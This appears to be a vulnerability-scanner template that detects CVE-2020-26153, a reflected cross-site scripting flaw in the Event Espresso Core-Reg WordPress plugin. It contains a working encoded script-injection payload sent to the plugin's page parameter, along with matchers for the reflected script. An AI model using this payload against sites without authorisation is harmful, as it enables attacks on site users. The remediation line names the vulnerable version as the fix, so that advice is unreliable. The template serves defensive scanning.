id: CVE-2020-26153

info:
  name: Event Espresso Core-Reg 4.10.7.p - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Event Espresso Core-Reg 4.10.7.p is vulnerable to cross-site scripting in wp-content/plugins/event-espresso-core-reg/admin_pages/messages/templates/ee_msg_admin_overview.template.php and allows remote attackers to inject arbitrary web script or HTML via the page parameter.
  remediation: |
    Upgrade to Event Espresso Core-Reg version 4.10.7.p or later to mitigate this vulnerability.
  reference:
    - https://labs.nettitude.com/blog/cve-2020-26153-event-espresso-core-cross-site-scripting/
    - https://github.com/eventespresso/event-espresso-core/compare/4.10.6.p...4.10.7.p
    - https://nvd.nist.gov/vuln/detail/CVE-2020-26153
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-26153
    cwe-id: CWE-79
    epss-score: 0.00127
    epss-percentile: 0.46972
    cpe: cpe:2.3:a:eventespresso:event_espresso:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: eventespresso
    product: event_espresso
    framework: wordpress
  tags: cve,cve2020,xss,wordpress,wp-plugin

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/event-espresso-core-reg/admin_pages/messages/templates/ee_msg_admin_overview.template.php?page=%22%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cb"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"/></script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 500

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